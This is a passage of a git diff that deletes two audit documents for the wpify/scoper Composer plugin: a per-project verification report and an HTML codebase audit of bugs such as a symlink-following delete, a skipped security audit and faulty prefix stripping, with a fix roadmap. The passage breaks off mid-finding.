modules' -outer `composer.json` `require-dev` — untouched by the nested install, and skipped in CI anyway -because CI uses `--no-dev`. - -**Exit-code propagation is a clear improvement here.** The module loop -(`.gitlab-ci.yml:71-83`) runs under `set -e`, so a propagated failure would correctly fail the job. -Today the only safety net is a root-only artefact check at `.gitlab-ci.yml:139-140`: - -``` -test -f "$EXPORT_DIR/$PLUGIN_SLUG/deps/scoper-autoload.php" -test -f "$EXPORT_DIR/$PLUGIN_SLUG/deps/autoload.php" -``` - -There is **no equivalent check for any of the six modules**, so a module whose scoping silently failed -would ship a broken `vendor//` today. C1 fixes that. - -### 3.7 C3 — atomic swap with a `.bak` sibling: **SAFE for root/feed.szn, minor caveat for 5 modules** - -`tempDir` is `getcwd()/tmp-XXXXXXXXXX` (`src/Plugin.php:58`) — same filesystem as the deps target in -every case, so `rename()` (and a `.bak` swap) is sound. No Docker/DDEV cross-mount issue: `feed.szn` uses -DDEV but scoping runs in CI on `composer:2.8.2`, and locally the project dir is a single mount. - -- **Root / `sales-booster-extras` / `feed.szn`** — `deps.bak` would sit at the project root. Not shipped: - root packaging copies only `jq -r '.files[]' package.json` (`.gitlab-ci.yml:130-136`) and `files` lists - `deps`, not `deps.bak`; `feed.szn` deploys via `rsync --include-from=./.rsyncinclude --exclude="*"`, - which lists `/deps/***` only. **SAFE.** -- **Five modules with `folder: vendor/`** — the backup lands at `vendor/.bak`, **inside - `vendor/`**. Each module's `package.json` `files` includes `vendor` wholesale, and the artefact copier - (`.gitlab-ci.yml:82`) copies whole listed directories. So a backup left behind by an interrupted or - failed swap **would be packaged into the shipped zip**, roughly doubling module size. Normal operation - deletes it, so this is a failure-path concern only. - - **Recommendation:** put the backup in the existing `tmp-*` working dir rather than as a sibling of - `folder`, or `register_shutdown_function` its cleanup. - -Also note neither `.gitignore` covers `tmp-*` (`sales-booster-kit/.gitignore`, `feed.szn/.gitignore` both -list `/deps/` and `/vendor/` only). No leftovers exist right now, and packaging/rsync both exclude them, -so this is cosmetic. - -### 3.8 C4 — bump `require.php` to `^8.2`: **SAFE, with one CI hardening suggested** - -Keeping the distinction the checklist asks for: `config.platform.php` = `8.1` in the root and every -module constrains **scoped dependency resolution only**. The PHP the *tool* runs on is the CI image: - -- `sales-booster-kit` `composer` job — `image: composer:2.8.2` (`.gitlab-ci.yml:99`) -- `sales-booster-kit` `modules_build` job — `image: node:20-alpine` + `apk add … php …` (`:45,51`) -- `feed.szn` `composer` job — `image: composer:2.8.2` -- `feed.szn` dev — `.ddev/config.yaml:3` `php_version: "8.3"` - -The `composer:2.8.x` images ship PHP 8.3, and Alpine's `php` package on the release matching -`node:20-alpine` is 8.3. Both satisfy `^8.2`. *(Inferred from image tags — not executable in this -read-only environment, so flagged rather than proven.)* - -**One real hazard, independent of the bump:** `composer global require wpify/scoper` is unconstrained -and is *not* run with `--ignore-platform-reqs` (that flag is on the project install only). If a runner -image ever drops to PHP 8.1, Composer will **silently resolve an older scoper** instead of failing — -producing a subtly different build with no error. Recommend pinning `composer global require -wpify/scoper:^3` in both `.gitlab-ci.yml` files. - -### 3.9 C5 — fail fast on missing/invalid `prefix`: **SAFE** - -All eight units declare a `prefix`, all are legal PHP namespace identifiers, and **all eight are -distinct** — no two scoped trees share a namespace. Nothing relies on the current silent no-op: there is -no `extra.wpify-scoper` block anywhere without a `prefix`. Note the near-miss naming -`WpifyWooDiscountRuleDeps` (singular "Rule") vs. the package `wpify-woo-discount-rules` — correct and -unique, just inconsistent. - -### 3.10 H7 — make `--no-dev` reachable: **SAFE, not applicable** - -**No `composer-deps.json` in this cluster has a `require-dev` section** (all eight grepped). Nothing -would disappear from any scoped tree. Note also that CI's `composer install --no-dev` fires -`POST_INSTALL_CMD`, which hard-codes `$useDevDependencies = true` (`src/Plugin.php:191`), so the nested -install runs *with* dev today regardless — a no-op here precisely because there are no dev requires. - -### 3.11 H16 — regenerated symbol lists: **SAFE, with two requests** - -Scoped packages across the cluster: `php-di`, `invoker`, `psr/*`, `laravel/serializable-closure`, -`woocommerce/action-scheduler`, `wpify/*`, `twig`, `symfony/polyfill-*`, `spatie/array-to-xml`, -`giggsey/libphonenumber-for-php`, `giggsey/locale`, `tecnickcom/tcpdf`, `setasign/fpdi`, -`ghostff/php-text-to-image`, `yahnis-elsts/plugin-update-checker`, `phpstan/*` (feed.szn). - -None declares a global function, class or constant that collides with WP/Woo naming — every one is -namespaced, and the two that ship bare global classes (`tcpdf`, PUC) are already handled. Newly-excluded -symbols would only *widen* what stays global, which for these packages is a no-op. - -Two asks while the lists are being regenerated: - -1. **Add `ICL_LANGUAGE_CODE` to `symbols/wordpress.php` → `exclude-constants`** (see 3.5). It fixes a - live bug in three units and retires four copies of a hand-written patcher. -2. **Ensure `WP_CLI` / `WP_CLI_Command` survive H1** for consumers that override `globals` without - `wp-cli` (see 3.1). - -### 3.12 M3 — stop writing generated `scripts` into `composer-deps.json`: **SAFE** - -**No `composer-deps.json` in this cluster contains a `scripts` block.** Both projects track -`composer-deps.json` and `composer-deps.lock` in git (`git ls-files`), so churn would have been visible — -there is none. Nothing hand-written would be lost. Note the generated `scripts` are written to -`tmp-*/source/composer.json` (`src/Plugin.php:169-175`), not to the user's file, so this is already -mostly true in practice for these consumers. - -### 3.13 M15 — validate `globals` entries: **SAFE** - -Available symbol files: `action-scheduler`, `plugin-update-checker`, `woocommerce`, `wordpress`, -`wp-cli`. Every declared entry (`wordpress`, `woocommerce`, `plugin-update-checker` × 5 modules) is -valid. Validation would emit no errors — though it would be a good place to *warn* that -`plugin-update-checker` is currently ineffective against PUC v5 (3.4). - ---- - -## 4. Verdict table - -Legend: **S** = SAFE · **NM** = NEEDS-MIGRATION · **B** = BREAKING · **n/a** = not applicable - -| Unit | C1 | C2 | C3 | C4 | C5 | M4 | H1 | H2 | H7 | H14/15 | H16 | H18 | M3 | M15 | -|------|----|----|----|----|----|----|----|----|----|--------|-----|-----|----|-----| -| root `sales-booster-kit` | S | S | S | S | S | S | S | S | n/a | S | S | S | S | S | -| `sales-booster-extras` | S | S | S | S | S | S | S | S | n/a | S | S | S | S | S | -| `wpify-woo-conditional-shipping` | S | S | **NM** | S | S | S | **NM** | S | n/a | S | S | S | S | S | -| `wpify-woo-discount-rules` | S | S | **NM** | S | S | S | **NM** | S | n/a | S | S | S | S | S | -| `wpify-woo-feeds` | S | S | **NM** | S | S | S | **NM** | S | n/a | S | S | S | S | S | -| `wpify-woo-phone-validation` | S | S | **NM** | S | S | S | **NM** | S | n/a | S | S | S | S | S | -| `wpify-woo-product-vouchers` | S | S | **NM** | S | S | S | **NM** | S | n/a | S | S | S | S | S | -| `feed.szn` | S | S | S | S | S | S | S | S | n/a | S | S | S | S | S | - -**Nothing in this cluster is BREAKING.** The two NEEDS-MIGRATION items are both confined to the five -modules that override `globals`: - -- **H1** — `\WP_CLI` / `\WP_CLI_Command` regress in 14 Action Scheduler files per module unless H1 ships - with `wp-cli` coverage. Low runtime impact, but a real change. -- **C3** — the `.bak` sibling lands inside `vendor/`, which those modules package wholesale. Failure-path - only; avoided by putting the backup in `tmp-*`. - -## 5. Consumer-side issues found (independent of the proposed changes) - -1. **Live WPML bug** in root `sales-booster-kit`, `sales-booster-extras`, `wpify-woo-feeds` — - `ICL_LANGUAGE_CODE` is prefixed, so `defined()` always returns false (3.5). -2. **`feed.szn`'s `wpify/scoper: ^2` is not honoured** in CI; 3.2.x does the work (§2). -3. **`globals: [… plugin-update-checker]` in five modules is dead config** against PUC v5 (3.4). -4. **No module-level build verification in CI** — only the root's `deps/` is checked for existence (3.6). -5. **Unconstrained `composer global require wpify/scoper`** risks a silent version downgrade (3.8). diff --git a/docs/improvements/index.html b/docs/improvements/index.html deleted file mode 100644 index 8e8b021..0000000 --- a/docs/improvements/index.html +++ /dev/null @@ -1,1326 +0,0 @@ - - - - - -wpify/scoper — Codebase Audit - - - - -
-
- wpify/scoper - -
-
- -
-
-

Codebase audit · 27 July 2026

-

58 findings across
857 lines of source.

-

- wpify/scoper does something genuinely hard and does it well enough that - 65 releases have shipped on it. The logic is sound. What is missing is everything - around the logic: error handling, boundary validation, and any mechanism at all for - catching a regression before a user does. -

-

- Four areas were audited independently — Composer plugin API conformance, runtime - robustness, the symbol-extraction pipeline, and engineering practice. Every claim below - was verified against the vendored Composer source or reproduced by execution. -

- -
-
5Critical
-
19High
-
20Medium
-
14Low
-
45Small effort
-
- - -
-
- -
-
-
- The headline -

Three problems that are actively costing you today

-
- -
-

- Most of what follows is ordinary technical debt. These three are not — they are live - defects with observable consequences in production installs, and none of them announces - itself. -

-
- -

1. Every composer install skips its security audit

-
-

- Plugin::runInstall() constructs a Composer\Console\Application and calls - run() on it. Symfony's Application defaults to - autoExit = true, so run() ends in exit() and never returns - — the return on src/Plugin.php:294 is unreachable. -

-

- Composer dispatches POST_INSTALL_CMD at Installer.php:438 and runs the - vulnerability audit at Installer.php:448. The plugin's listener kills the process in - between. With a prefix configured, no user of this plugin has ever seen a Composer - security audit run. Their own post-install-cmd scripts and any - later-registered plugin are skipped too, and the outer exit code is replaced by the inner one. -

-
- -

2. Scoped classes are silently un-scoped, then fatal at runtime

-
-

- The patcher in config/scoper.inc.php:87-103 strips the prefix back off symbols that - should stay global. It builds needles like \MyPrefix\WP and hands them to - str_replace, which has no right-hand boundary. Reproduced against the real merged - symbol list: -

-
-
new \MyPrefix\WPSEO_Utils();   =>  new \WPSEO_Utils();          ← wrong
-use MyPrefix\WPBakery\Thing;   =>  use WPBakery\Thing;          ← wrong
-new \MyPrefix\POStuff();       =>  new \POStuff();              ← wrong
-new \MyPrefix\wpdbCustom();    =>  new \wpdbCustom();           ← wrong
-
-new \MyPrefix\WP_Post();       =>  new \WP_Post();              ← correct
-use MyPrefix\Monolog\Logger;   =>  use MyPrefix\Monolog\Logger; ← correct
-
-

- The shipped exclusion list contains WP, PO, MO, - ftp, wpdb and other two-to-four character names. Any scoped dependency - whose fully-qualified name merely starts with one of the 1,219 class names or 477 - namespace names gets de-prefixed. The failure surfaces as - Class "WPSEO_Utils" not found inside the user's plugin, with nothing pointing back - at the scoper. -

-
- -

3. A recursive delete that follows symlinks out of the project

-
-

- remove() in scripts/postinstall.php:2-22 tests with is_dir() - and is_file(). Both follow symlinks; there is no is_link() guard. - Composer's path repository type symlinks packages into vendor/ by - default. That symlink lands in $temp/source/vendor, which is still present when the - script's last statement runs: -

-
-
remove( $temp );   // descends through the symlink into ../my-shared-library
-                   // and unlinks the developer's actual working copy
-
-

- Anyone developing a shared library against a path repository loses uncommitted work in a - sibling directory. The same function also runs remove($deps) immediately - before rename(), with the rename's return value unchecked — so a - cross-device or Windows file-lock failure leaves the project with no dependencies at all and - still reports success. -

-
-
-
- -
-
-
- Consumer verification -

What these fixes would do to your 22 live projects

-
- -
-

- Every proposed change was checked read-only against all 22 consumers of - wpify/scoper under ~/projects, including six projects with a - built deps/ tree that could be mined for evidence of what the tool - actually produces rather than what it ought to. -

-

- Three recommendations changed as a result. Two of them would have caused - outages if implemented as originally written. That is the finding of this pass. -

-
- -
-
22Consumers checked
-
3Revised
-
8Need migration
-
6Built trees mined
-
0Open unknowns
-
- -

Revised — would have broken production

- -
-
-
- C5 -

Prefix validation must not fire when the config is absent

- Was breakingRevised -
- Verified across 9 projects · delife, stavbadesign, wpify-website, sdcentral, heureka, rosettapress, epicwash, edu.constructiocrm, environmentalbadge -
-
What I missed
-
wpify/scoper is installed globally in 21 of 22 projects, so execute() runs on every Composer project on the machine. The silent return at src/Plugin.php:127 is what keeps all of them working.
-
Consequence
-
An unconditional "prefix required" error would fail composer global require wpify/scoper itself (COMPOSER_HOME has no extra) — a line present in every CI pipeline checked — plus every unrelated repo on a developer machine, plus the nested install itself, which would break scoping outright.
-
Revised fix
-
Error only when extra.wpify-scoper is present but prefix is missing, empty or not a legal namespace. Absence of the whole key must stay a silent no-op. autorun: false is not a substitute — you cannot set it for every project on a machine.
-
Still worth doing
-
Yes. Scoped this way it fixes the real DX defect and breaks nothing. All 22 prefixes are present and legal, so no project needs to change.
-
-
- -
-
- H14/H15 -

The plugin-update-checker patcher is load-bearing, not dead

- Was breakingRevised -
- config/scoper.inc.php:75–77 · reproduced in 3 independent builds -
-
What I missed
-
php-scoper's StringScalarPrefixer also prefixes the string-literal registry keys in PUC's load-v5pX.php. The $checkerClass = $type patcher is the compensation for that, not a bug: registry key and lookup key match exactly in every real build.
-
Consequence
-
Deleting it makes getCompatibleClassVersion() return null and fire trigger_error(E_USER_ERROR) on every admin page load — a white screen for every plugin that depends on wpify/updates. From the evidence on disk that is most of the fleet: gopay, dognet, filters, feeds, rosettapress, conditional-shipping, phone-validation, zbozi-conversions, fakturoid.
-
Revised fix
-
Keep and extend the patcher. Delete only the genuinely dead parts: symbols/plugin-update-checker.php (33 Puc_v4p11_* names under a key that is neutralised downstream anyway), the globals branch, and the stale v4p11 patcher at :48.
-
Bonus defect found
-
The patcher only matches $checkerClass = $type, leaving the VCS branch two lines down unpatched — so GitHub/GitLab/BitBucket-hosted update checking is broken in every scoped build today. No audited project uses it (all pass a wpify.io JSON URL), but the two-line fix turns a half-working integration into a working one.
-
-
- -
-
- H1 -

Anchoring must be segment-wise, and it regresses WP_CLI

- Was breakingRevised -
- config/scoper.inc.php:87–103 · two independent agents, 11 projects -
-
Constraint 1
-
Implemented as a whole-string exact match, anchoring destroys exclude-namespaces, which needs segment-wise prefix matching. Real references that depend on it: use PHPMailer\PHPMailer\PHPMailer and Automattic's HPOS CustomOrdersTableController, present in all four Bedrock sites. Re-prefixing those fatals on every SMTP send and on order-metabox registration. The lookup must walk the captured symbol's namespace segments and anchor the right-hand side at (?=$|\\|\W).
-
Constraint 2
-
Seven projects override globals and drop wp-cli. In those, WP_CLI reaches the global namespace only via the buggy unanchored \{prefix}\WP match. Anchoring stops that — the bug is currently load-bearing. Blast radius is small (those Action Scheduler CLI commands are already unreachable, since defined('Prefix\WP_CLI') can never be true), but it is a real behaviour change.
-
Migration
-
Add "wp-cli" to globals in the seven affected projects before landing H1 — one line each, and it makes their Action Scheduler CLI integration work for the first time. Consider making globals additive to the defaults rather than a wholesale override.
-
Good news
-
No project currently suffers the H1 corruption: I scanned every built tree for de-prefixed victims and found zero. H1 is a trap waiting for the next dependency you add, not a live outage.
-
-
-
- -

Confirmed safe — verified, not assumed

- -
- - - - - - - - - - - -
ChangeEvidenceVerdict
C4Every environment that runs the tool is on PHP 8.3 or 8.4. The shared CI template pins composer:2.8.2 on all three scoper-installing paths, and docker run confirms that image is PHP 8.3.13. DDEV 8.3/8.4; host 8.4.20. The 8.1.x config.platform pins govern the scoped dependency graph, not the toolchain.Breaks nobody
C2Zero symlinks in any deps tree; no path repositories in any of the 33 composer-deps.json; the sales-booster-kit modules are git submodules, not path repos.Pure no-op
H2All eight built autoload_static.php files checked: every prefixed key is a 32-char md5 in $files — the intended target. Zero corrupted classmap keys anywhere.Latent only
M4No composer-deps.json anywhere contains an extra key, so the recursion configuration does not exist in the fleet.Not reachable
H18Does not reproduce: a global install lives at ~/.composer/vendor/wpify/scoper, which does contain the substring. Confirmed empirically — mawis' custom patcher demonstrably applied to exactly the four classes it names, and not to four control classes.Already working
H16Regenerated symbol lists checked old→new against every scoped namespace in the fleet. No collisions introduced.Safe
C1 --no-pluginsZero packages of type composer-plugin in any composer-deps.lock.Safe
-
- -

Resolved — the CI template, read directly

- -
-

- The shared wpify/gitlab-ci-templates repo was the audit's one open unknown. It is - now available at ~/projects/gitlab-ci-templates and has been read. Every path that - installs the tool resolves to the same image: -

-
- -
# pipelines/wpify-plugin.yml:40  — rosettapress, feeds, gopay, paczkomaty, dognet, filters
-# jobs/composer.yml:2            — heureka, via .composer_install
-# templates/composer.gitlab-ci.yml:2
-image: composer:2.8.2
-
-$ docker run --rm composer:2.8.2 php -v
-PHP 8.3.13 (cli) (built: Nov 12 2024 05:52:30) (NTS)   ← verified, not inferred
- -
-

- C4 is confirmed safe fleet-wide. Every environment that executes - wpify/scoper — CI at PHP 8.3.13, DDEV at 8.3/8.4, host at 8.4.20 — clears - ^8.2 with room to spare. No consumer needs to change anything. -

-

- But the templates blunt the benefit. All three jobs install the tool with - composer global require wpify/scoper --ignore-platform-reqs - (jobs/composer.yml:17, templates/composer.gitlab-ci.yml:19,24). That - flag bypasses the php constraint outright — so the whole point of C4, a clean - resolver error instead of a confusing transitive one, never fires in CI. If the image is ever - pinned back, the tool installs anyway and fails at runtime instead. Dropping the flag from the - global require line restores the diagnostic; keep it on the project - composer install, where the 8.0/8.1 platform pins genuinely need it. -

-

- Also dead: the wpify/scoper:^1 branch at - templates/composer.gitlab-ci.yml:19, gated on wordpress-scoper - appearing in composer.json. No project in ~/projects matches. Safe to - delete. -

-

Migration checklist — do these alongside the fixes

- -
- - - - - - - - - - - - - -
#ActionProjects
1Put the C3 backup outside the deps parent directory (or sweep *.bak-* at startup). Where folder is inside vendor/, a crash leaves an invisible tree that gets shipped: to wordpress.org via .rsyncinclude, into the epicwash ZIP+FTP mirror, and into heureka's plugin_archive.wpify-woo-feeds, gopay, tmp/wpify-woo, epicwash, heureka, rosettapress
2Add deps.bak / web/app/deps.bak to .gitignore — no existing pattern matches it, so a failed run leaves an untracked ~36 MB tree in git status.All Bedrock sites + mawis, dognet, filters
3Add "wp-cli" to globals before landing H1.The 7 projects that override globals
4M3 must merge the generated scripts, not replace them — one project has a hand-written pre-autoload-dump that strips test/docs dirs from its wordpress.org release.tmp/wpify-woo
5Sequence H15 and M15 together, or make globals validation warn-only for one release — otherwise projects listing plugin-update-checker fail validation on a name that was valid the day before.feeds, gopay, mawis, dognet, filters + 4 SBK modules
6Expect new CI reds on the first pipeline after exit-code propagation lands: failures that were silently exiting 0 will start blocking deploys. That is the point, but schedule for it.Fleet-wide
7Delete the now-redundant manual patch step at .gitlab-ci.yml:45 — after C1, the real post-install-cmd starts running (it is being skipped today, which is why the workaround exists).alfamarka
8Raise config.platform.php to ≥ 8.2 in the scaffold that does composer require --dev wpify/scoper locally under an 8.1 pin.wpify-woo-paczkomaty (composer.json:25)
9Drop --ignore-platform-reqs from the composer global require wpify/scoper lines so C4's clean error message can actually fire; keep it on the project composer install. Delete the dead wpify/scoper:^1 branch while you are in there.gitlab-ci-templates (jobs/composer.yml:17, templates/composer.gitlab-ci.yml:19,24)
-
- -
-
-
- -
-
-
- Triage -

Where the work actually sits

-
-
-

- The encouraging shape of this audit: severity is concentrated but effort is not. - 45 of 58 findings are small — a line, a guard, a deleted method. Only one - finding is genuinely large, and it is the test suite. -

-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SeveritySmallMediumLargeTotalCharacter of the work
Critical4105Guards, ordering, one constraint bump
High153119Boundary checks, dead code, stale data
Medium128020Architecture, tooling, extraction gaps
Low140014Hygiene, dead config, packaging
Total4512158
-
- -
-

- One dependency governs the order. Finding C1 (the exit()) is - currently the only thing stopping finding M4 (unbounded recursion). Today, a user who copies - their extra.wpify-scoper block into composer-deps.json — which - the README describes as having "exactly same structure" — is saved from an infinite - install loop purely because the process dies at depth 1. Fixing C1 without landing the - re-entrancy guard in the same change turns a latent bug into a live one. -

-
-
-
- -
-
-
- Roadmap -

Four phases, sequenced by dependency

-
-
-

- The numbering is a real sequence, not decoration — each phase depends on the previous - one having landed. Phase 1 is safe to ship without tests because every item is a guard or a - deletion. Phase 3 is not, which is why the characterisation test is a gate rather than a - later nicety. -

-
- -
-
- 01 -

Stop the bleeding

- ~1 day · all small -
-
    -
  • Add the is_link() guard to remove() — the only code path that can destroy files outside the project.
  • -
  • Reorder to rename-then-delete with a .bak fallback, and check rename()'s return value.
  • -
  • Bump php to ^8.2 — the declared ^8.1 is unsatisfiable against php-scoper and 8.1 is EOL.
  • -
  • Fail fast on a missing or invalid prefix instead of returning silently with exit 0 — but only when extra.wpify-scoper is present (verified constraint).
  • -
  • Replace exit; with a thrown exception; change require_once to require.
  • -
  • Seed exclude-classes / exclude-namespaces to [] so an empty globals stops fataling inside the patcher.
  • -
  • Quote the php-scoper path and check realpath(); delete the dead getCapabilities().
  • -
  • Start using $this->io — it is captured and never read, which is why every failure mode above presents as silence.
  • -
-
- -
-
- 02 -

Make the output correct

- ~1 week · small to medium -
-
    -
  • Anchor the prefix-stripping — a preg_replace_callback with a hash-set lookup, matching php-scoper's case-insensitive semantics. Must anchor segment-wise, and ships only after wp-cli is added to the seven projects that dropped it.
  • -
  • Narrow the autoload_static.php rewrite to the $files array; today it also rewrites unqualified classmap keys.
  • -
  • Delete symbols/plugin-update-checker.php, its globals branch and the stale v4p11 patcher — but keep and extend the $checkerClass patcher, which is load-bearing fleet-wide.
  • -
  • Collect symbols from function bodies (18 real misses), top-level const (97 WP constants), and class_alias() targets (46).
  • -
  • Deduplicate the merged symbol lists (119 duplicates) and drop the redundant Twig and Guzzle patchers.
  • -
-
- Verify first - Before rewriting the prefix-stripping block, establish why it exists at all. php-scoper 0.18 - handles exclude-classes natively; this may be compensating for something fixed - upstream years ago. If it can simply be deleted, two findings vanish with it. Consumer - verification could not settle this without running a build — it is still the open - question that gates this phase. -
-
- -
-
- 03 -

Replace the execution model

- ~1–2 weeks · medium -
-
    -
  • Run Composer as a subprocess via COMPOSER_BINARY, the way Composer's own EventDispatcher does — or at minimum setAutoExit(false). Propagate the exit code.
  • -
  • Add the re-entrancy guard in the same commit (see the triage note).
  • -
  • Expose a real BaseCommand through Capable + CommandProvider; retire the four pseudo-events and the hand-rolled bin/wpify-scoper bootstrap.
  • -
  • Stop writing into the user's composer-deps.json. Drive php-scoper, dump-autoload and the fixups directly from PHP instead of injecting shell commands with absolute host paths.
  • -
  • Delete the %%placeholder%% template — it injects raw paths into single-quoted PHP literals and breaks on Windows.
  • -
  • Decompose Plugin into Configuration, ScoperConfigFactory and ComposerRunner. Stop there.
  • -
-
- Gate - Write one end-to-end characterisation test against the current code before starting - this phase, even if it needs chdir() and process isolation. It is ugly and it is - the only safety net for a refactor this wide. -
-
- -
-
- 04 -

Build the foundation

- ~1 week · ongoing -
-
    -
  • PHPUnit in three tiers: pure-logic units, one real scoping of a tiny fixture, golden files for symbol extraction.
  • -
  • PHPStan at level 5, ratcheting to 8 after the refactor — it predicts roughly six genuine bugs on the current code before you write a single test.
  • -
  • CI matrix over PHP 8.2–8.5, plus a scheduled job that regenerates symbols when WordPress or WooCommerce releases.
  • -
  • Record provenance in the generated symbol files — today nothing says which WordPress version they came from.
  • -
  • Restructure the docs around failure modes; add a CHANGELOG, .gitattributes and .editorconfig.
  • -
-
-
-
- -
-
-
- Critical · 5 -

Data loss, silent failure, and an install that cannot resolve

-
- -
-
-
- C1 -

Nested Composer terminates the host process

- CriticalMedium -
- src/Plugin.php:290–305 · verified against vendor/symfony/console/Application.php:266 -
-
Impact
-
The Composer security audit never runs. User post-install-cmd scripts and later plugins are skipped. The outer exit code is replaced by the inner one, so a failing install can report success. CWD leaks into the temp directory on exception.
-
Fix
-
Run Composer as a subprocess via COMPOSER_BINARY, matching EventDispatcher.php:253. Failing that, setAutoExit(false) + setCatchExceptions(false) and propagate the code.
-
Benefit
-
Restores audit, script ordering and exit codes; removes shared-state contamination between outer and inner Composer.
-
Downside
-
Must land with the re-entrancy guard (M4) — this bug is currently the only thing preventing infinite recursion. A subprocess is also marginally slower and needs the PHP binary located.
-
-
- -
-
- C2 -

remove() follows symlinks out of the project

- CriticalSmall -
- scripts/postinstall.php:2–22 -
-
Impact
-
Destroys uncommitted work in sibling directories when a path repository is used in composer-deps.json — Composer symlinks those by default. Also wipes the target when deps/ is itself a symlink, silently changing the project layout.
-
Fix
-
Guard with is_link() before recursing; unlink the link itself, with an rmdir() fallback for Windows junctions. Add readdir/unlink/rmdir failure handling.
-
Benefit
-
Eliminates the only path in the codebase that can delete files outside its own temp and deps directories.
-
Downside
-
None. A dangling symlink left behind in deps/ is harmless.
-
-
- -
-
- C3 -

Dependencies deleted before the replacement is in place

- CriticalSmall -
- scripts/postinstall.php:62–63 -
-
Impact
-
remove($deps) runs first and rename()'s result is unchecked. Cross-device rename (configurable temp, Docker bind mounts), a Windows file lock, or an interrupt between the two statements leaves the project with no deps/ — and the build still exits 0.
-
Fix
-
Verify the new tree exists, move the old one aside to a .bak, rename into place, restore on failure, then delete the backup. Fall back to recursive copy on EXDEV.
-
Benefit
-
No window in which the project has no dependencies; failures become loud and recoverable.
-
Downside
-
Briefly needs disk for both trees — already true of the temp tree.
-
-
- -
-
- C4 -

Declared PHP requirement is unsatisfiable

- CriticalSmall -
- composer.json:31 -
-
Impact
-
"php": "^8.1" but wpify/php-scoper requires ^8.2. A consumer on 8.1 gets a resolver error naming a transitive package rather than this one. PHP 8.1 has been EOL since December 2025.
-
Fix
-
"php": "^8.2" now; plan >=8.3 for the next major once 8.2 drops out on 2026-12-31. Supported window today is 8.2–8.5.
-
Benefit
-
Honest resolution with a correct error message, and it unlocks readonly properties, enums and never throughout the refactor.
-
Downside
-
Consumers on 8.1 can no longer require — but they cannot install today either, so nothing real is lost.
-
-
- -
-
- C5 -

A missing prefix does nothing, silently

- CriticalSmall -
- src/Plugin.php:127 -
-
Impact
-
If extra.wpify-scoper.prefix is absent, misspelled, empty or the string "0", execute() returns having done nothing. composer install exits 0. No deps/, no message, no clue. This is the worst DX defect in the project.
-
Fix
-
Validate in a Configuration::fromExtra() factory: require the key, check it against a PHP-namespace pattern, reject unknown keys with a suggestion, and verify each globals entry maps to a real symbols/*.php.
-
Benefit
-
Turns the single most common misconfiguration from silent nothing into a one-line diagnostic. Fully unit-testable with no filesystem.
-
Downside
-
Verified constraint — see C5 under consumer verification. The check must fire only when extra.wpify-scoper is present. Because the plugin is installed globally, an unconditional error would break every unrelated repo on the machine, composer global require wpify/scoper itself, and the nested install.
-
-
-
-
-
- -
-
-
- High · 19 -

Wrong output, dead features, and unguarded boundaries

-
- -
-
-
- H1 -

Prefix-stripping has no right-hand boundary

- HighSmall -
- config/scoper.inc.php:87–103 -
-
Impact
-
Any scoped class or namespace whose name starts with one of the 1,219 excluded class names or 477 namespace names is silently de-prefixed, producing a Class not found fatal in the user's plugin. Scales with how many dependencies are scoped.
-
Fix
-
One preg_replace_callback over (?:use\s+|\\)?{$prefix}\\([A-Za-z_][\w\\]*) with an array_flip hash-set lookup, case-insensitive to match php-scoper's own SymbolRegistry.
-
Benefit
-
Removes an entire class of silent runtime fatals, and is faster than 3,392 str_replace needles.
-
Downside
-
Rewrites the hottest part of the patcher; needs tests. Two verified constraints — see H1 under consumer verification: anchoring must be segment-wise or exclude-namespaces breaks, and seven projects currently depend on the bug to keep WP_CLI global.
-
-
- -
-
- H2 -

autoload_static.php rewrite corrupts classmap keys

- HighMedium -
- scripts/postinstall.php:39–46 -
-
Impact
-
The regex is applied to the whole file to prefix the $files md5 keys, but it also matches any unqualified classmap key without underscores — 'Requests' => … becomes 'myprefixRequests' => …, breaking classmap autoloading for that class.
-
Fix
-
Scope the replacement to the $files array block only, or parse and rewrite it structurally rather than by regex over the whole file.
-
Benefit
-
Keeps the intended de-duplication of function-file includes without touching the classmap.
-
Downside
-
Needs a golden-file test against a real generated autoload_static.php.
-
-
- -
-
- H3 -

getCapabilities() is dead code, and a landmine

- HighSmall -
- src/Plugin.php:104 · PluginManager.php:613 -
-
Impact
-
Plugin does not implement Composer\Plugin\Capable, so the method is never called. Worse: adding Capable naively would throw a RuntimeException on every composer list and composer help for every user, because the declared implementation self::class has no getCommands().
-
Fix
-
Delete it, or implement it properly with a separate CommandProvider class as part of H4.
-
Benefit
-
Removes dead code and a latent crash that a well-meaning contributor would walk straight into.
-
Downside
-
None for the delete-only variant.
-
-
- -
-
- H4 -

Pseudo-events instead of a real Composer command

- HighMedium -
- src/Plugin.php:18–21 · bin/wpify-scoper:30–41 -
-
Impact
-
Four fake event names are dispatched by hand-fabricating an Event from a bootstrapped Factory. This bypasses Composer's own IO, verbosity and working-directory handling, and requires composer/composer in require rather than require-dev.
-
Fix
-
A ScoperCommand extends BaseCommand exposed through Capable + CommandProvider. Gives composer wpify-scoper install --no-dev with real argument parsing for free.
-
Benefit
-
Idiomatic UX, correct IO inheritance, drops a heavyweight runtime dependency, and makes bin/wpify-scoper and H5 disappear entirely.
-
Downside
-
The bin entry point is public API — keep it as a thin shim for a deprecation cycle.
-
-
- -
-
- H5 -

Hardcoded vendor root in the binary

- HighSmall -
- bin/wpify-scoper:9–10 -
-
Impact
-
__DIR__ . '/../../..' is a resolved real path, so it fatals for symlinked path repositories and when running from a clone of this repo — which makes the plugin impossible to develop against. Global installs load the global autoloader while reading the project's composer.json.
-
Fix
-
Use $GLOBALS['_composer_autoload_path'] with a candidate-path fallback chain, and declare composer-runtime-api: ^2.2.
-
Benefit
-
Works in every installation topology, including local development.
-
Downside
-
None — the fallback chain is strictly additive. Moot if H4 lands.
-
-
- -
-
- H6 -

The plugin never speaks

- HighSmall -
- src/Plugin.php:24, 53, 291 -
-
Impact
-
$this->io is captured and never read; output goes to a fresh ConsoleOutput that ignores --quiet, -v and --no-ansi. Nothing reports which config was loaded, whether scoper.custom.php was found, or that scoping was skipped. This is the root cause of why every other failure here reads as "nothing happened".
-
Fix
-
Use the injected IOInterface throughout; pass the outer output stream into any nested run.
-
Benefit
-
Verbosity flags start working, CI logs stop carrying stray ANSI escapes, and users can self-diagnose.
-
Downside
-
None. Keep normal-verbosity output to one or two lines.
-
-
- -
-
- H7 -

--no-dev is unreachable — dev dependencies always ship

- HighMedium -
- src/Plugin.php:19, 21, 193 -
-
Impact
-
Nothing emits the two NO_DEV event names — bin/wpify-scoper maps only install and update. Every scoped build therefore includes dev dependencies, which are scoped and shipped into production deps/.
-
Fix
-
